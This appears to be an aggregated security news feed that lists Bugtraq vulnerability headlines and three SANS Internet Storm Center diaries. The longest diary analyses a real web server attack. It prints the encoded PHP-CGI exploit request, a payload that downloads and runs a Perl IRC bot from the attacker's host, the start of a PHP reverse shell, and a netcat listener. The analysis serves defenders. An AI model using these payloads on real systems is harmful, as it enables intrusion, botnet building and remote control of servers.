Information Security

Windows Security

Bugtraq: CVE-2014-4973 - Privilege Escalation in ESET Windows Products

Thu, 08/21/2014 - 04:08
CVE-2014-4973 - Privilege Escalation in ESET Windows Products
Categories: Vulnerability Pipes

Vuln: Microsoft .NET Framework CVE-2014-4062 ASLR Security Bypass Vulnerability

Wed, 08/20/2014 - 19:00
Microsoft .NET Framework CVE-2014-4062 ASLR Security Bypass Vulnerability
Categories: Vulnerability Pipes

Vuln: Microsoft Windows Installer Service CVE-2014-1814 Local Privilege Escalation Vulnerability

Tue, 08/19/2014 - 19:00
Microsoft Windows Installer Service CVE-2014-1814 Local Privilege Escalation Vulnerability
Categories: Vulnerability Pipes

Bugtraq: Beginners error: Apple's iCloudServices for Windows run rogue program C:\Program.exe (and some more)

Tue, 08/19/2014 - 04:09
Beginners error: Apple's iCloudServices for Windows run rogue program C:\Program.exe (and some more)
Categories: Vulnerability Pipes

Web Server Attack Investigation - Installing a Bot and Reverse Shell via a PHP Vulnerability, (Sat, Aug 16th)

Mon, 08/18/2014 - 09:59

With Windows malware getting so much attention nowadays, it's easy to forget that attackers also target other OS platforms. Let's take a look at a recent attempt to install an IRC bot written in Perl by exploiting a vulnerability in PHP.

The Initial Probe

The web server received the initial probe from 46.41.128.231, an IP address that at the time was not flagged as malicious on various blacklists:

HEAD / HTTP/1.0

The connection lacked the headers typically present in an HTTP request, which is why the web server's firewall blocked it with the 403 Forbidden HTTP status code error. However, that response was sufficient for the attacker's tool to confirm that it located a web server.

The Exploitation Attempt

The offending IP address initiated another connection to the web server approximately 4 hours later. This time, the request was less gentle than the initial probe:

POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1
User-Agent: Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25
Content-Type: application/x-www-form-urlencoded

As shown above, the attacking system attempted to access /cgi-bin/php on the targeted server. The parameter supplied to /cgi-bin/php, when converted from hexadecimal into ASCII, corresponded to this:

-dallow_url_include=on-dsafe_mode=off-dsuhosin.simulation=on-ddisable_functions=""-dopen_basedir=none-dauto_prepend_file=php://input-dcgi.force_redirect=0-dcgi.redirect_status_env=0-n

These parameters, when supplied to a vulnerable version of /cgi-bin/php, are designed to dramatically reduce security of the PHP configuration on the system. We covered a similar pattern in our 2012 diary when describing the CVE-2012-1823 vulnerability in PHP. The fix to that vulnerability was poorly implemented, which resulted in the CVE-2012-2311 vulnerability that affected "PHP before 5.3.13 and 5.4.x before 5.4.3, when configured as a CGI script," according to MITRE. The ISS advisory noted that,

"PHP could allow a remote attacker to execute arbitrary code on the system, due to an incomplete fix for an error related to parsing PHP CGI configurations. An attacker could exploit this vulnerability to execute arbitrary code on the system."

SpiderLabs documented a similar exploitation attempt in 2013, where they clarified that "one of the key modifications is to specify 'auto_prepend_file=php://input' which will allow the attacker to send PHP code in the request body."

The Exploit's Primary Payload: Downloading a Bot

With the expectation that the initial part of the malicious POST request reconfigured PHP, the body of the request began with the following code:

php system("wget ip-address-redacted/speedtest/.a/hb/phpR05 -O /tmp/.bash_h1s7;perl /tmp/.bash_h1s7;rm -rf /tmp/.bash_h1s7 &"); ?>

If the exploit was successful, code would direct the targeted server to download /.a/hb/phpR05 from the attacker's server, saving the file as /tmp/.bash_h1s7, then running the file using Perl and then deleting the file. Searching the web for "phpR05" showed a file with this name being used in various exploitation attempts. One such example was very similar to the incident being described in this diary. (In a strange coincidence, that PHP attack was visible in the data that the server was leaking due to a Heartbleed vulnerability!)

The malicious Perl script was an IRC bot, and was recognized as such by several antivirus tools according to VirusTotal. Here's a tiny excerpt from its code:

#####################
# Stealth Shellbot  #
#####################

sub getnick {
  return "Rizee|RYN|05|".int(rand(8999)+1000);
}

This bot was very similar to the one described by James Espinosa in 2013 in an article discussing Perl/ShellBot.B trojan activity, which began with attempts to exploit a phpMyAdmin file inclusion vulnerability.

The Exploit's Secondary Payload: Reverse Shell

In addition to supplying instructions to download the IRC bot, the malicious POST request contained PHP code that implemented a reverse backdoor, directing the targeted web server to establish a connection to the attacker's server on TCP port 22. That script began like this:

$ip = 'ip-address-redacted';
$port = 22;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'unset HISTFILE; unset HISTSIZE; uname -a; w; id; /bin/sh -i';

Though the attacker specified port 22, the reverse shell didn't use SSH. Instead, it expected the attacker's server to listen on that port using a simple tool such as Netcat. Experimenting with this script and Netcat in a lab environment confirmed this, as shown in the following screenshot:

In this laboratory experiment, 'nc -l -p 22' directed Netcat to listen for connections on TCP port 22. Once the reverse shell script ran on the system that mimicked the compromised server, the simulated attacker had the ability to run commands on that server (e.g., 'whoami').

Interestingly, the production server's logs showed that the system in the wild was listening on TCP port 22; however, it was actually running SSH there, so the reverse shell connection established by the malicious PHP script would have failed.

A bit of web searching revealed a script called ap-unlock-v1337.py, reportedly written in 2012 by "noptrix," which was designed to exploit the PHP vulnerability outlined above. That script included the exact exploit code used in this incident and included the code that implemented the PHP-based reverse shell. The attacker probably used that script with the goal of installing the Perl-based IRC bot, ignoring the reverse shell feature of the exploit.

Wrap Up

The attack, probably implemented using automated script that probed random IP addresses, was designed to build an IRC-based bot network. It targeted Unix systems that ran a version of PHP susceptible to a 2-year-old vulnerability. This recent incident suggests that there are still plenty of unpatched systems left to compromise. The attacker used an off-the-shelf exploit and an unrelated off-the-shelf bot, both of which were readily available on the Internet. The attacker's infrastructure included 3 different IP addresses, none of which were blacklisted at the time of the incident.

-- Lenny Zeltser

Lenny Zeltser focuses on safeguarding customers' IT operations at NCR Corp. He also teaches how to analyze malware at SANS Institute. Lenny is active on Twitter and Google+. He also writes a security blog, where he recently described other attacks observed on a web server.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Vulnerability Pipes

Bugtraq: Beginners error: Windows Live Mail 2011 runs rogue C:\Program.exe when opening associated URLs

Mon, 08/18/2014 - 08:07
Beginners error: Windows Live Mail 2011 runs rogue C:\Program.exe when opening associated URLs
Categories: Vulnerability Pipes

Issues with Microsoft Updates, (Sat, Aug 16th)

Sat, 08/16/2014 - 10:16

Microsoft has updated some bulletins because there are three known issues that can affect your computer.

  • when KB2982791 is installed, fonts that are installed in a location other than the default fonts directory (%windir%\fonts\) cannot be changed when they are loaded into any active session
  • Fonts do not render correctly after any of the following updates are installed:
    • 2982791 MS14-045: Description of the security update for kernel-mode drivers: August 12, 2014
    • 2970228 Update to support the new currency symbol for the Russian ruble in Windows
    • 2975719 August 2014 update rollup for Windows RT 8.1, Windows 8.1, and Windows Server 2012 R2
    • 2975331 August 2014 update rollup for Windows RT, Windows 8, and Windows Server 2012
  • Microsoft is investigating behavior in which systems may crash with a 0x50 Stop error message (bugcheck) after any of the following updates are installed:
    • 2982791 MS14-045: Description of the security update for kernel-mode drivers: August 12, 2014
    • 2970228 Update to support the new currency symbol for the Russian ruble in Windows
    • 2975719 August 2014 update rollup for Windows RT 8.1, Windows 8.1, and Windows Server 2012 R2
    • 2975331 August 2014 update rollup for Windows RT, Windows 8, and Windows Server 2012

If you have not installed yet those updates, please don't install it until Microsoft pubish a fix. If you already installed it, please check each article for mitigation measures.

Manuel Humberto Santander Peláez
SANS Internet Storm Center - Handler
Twitter:@manuelsantander
Web:http://manuel.santander.name
e-mail: msantand at isc dot sans dot org

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Vulnerability Pipes

AppLocker Event Logs with OSSEC 2.8, (Fri, Aug 15th)

Fri, 08/15/2014 - 11:06

In a previous post, Monitoring Windows Networks Using Syslog, I discussed using syslog to send the event logs to a SIEM. This post covers another technique for collecting event log data for analysis.

A new version of OSSEC (2.8) has been released that includes the ability on Windows to access event channels that were introduced in Vista. To get this  to work correctly, I had to have the agent and server on 2.8. This new ability allows admins to send some of the more interesting event logs to OSSEC in a very easy way.

Client Config

Setting up the config for the subscription is quite easy.  If you want to do it on an per install basis, you edit the C:\Program Files\ossec-agent\ossec.conf.  Add a new tag for local file, then under location put the XPATH channel name and the log_format as eventchannel.

 

​

 

If you want this config to be pushed out to all your Windows OS centrally, you should add the config below to the /var/ossec/etc/shared/agent.conf. This file has a added XML field for matching which system should apply the config.


 

 

Creating Rules

Once you get the logs, you need to create rules to get the alerts.  When creating the rules, you need to know what event level (e.g. Info, Error ect..) the alerts are created for the event.  To get a detailed list of the events, follow this link (hxxp://technet.microsoft.com/en-us/library/ee844150(v=ws.10).aspx)

 

When creating your own rules, you should always add them to the Local_rules.xml file to make sure they do not get overwritten with updates.  These rules should start with 100000 rule ID.

 

 

 

I’ve posted all my AppLocker rules to my github(hxxps://github.com/tcw3bb/ISC_Posts/blob/master/OSSEC_AppLocker_Local_Rule.xml), and I’ve also submitted them to the OSSEC group to be added in the next version.  When using the local rules, you may need to change rule ID for your environment.  

RAW Log

Once you have the rules in place your alerts like the ones below should be created.

Quick report

To get a report for the current day of who had blocked apps, you can run the following:

>zcat /var/ossec/log/alerts/alerts.log |/var/ossec/bin/ossec-reportd -f rule 100021 -s

 

I also have a nxlog and an eventsys client config on my github (hxxps://github.com/tcw3bb/ISC_Posts)for additional client config.  To use these with OSSEC, you will need to have a different parser and rules.  

--

Tom Webb

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Vulnerability Pipes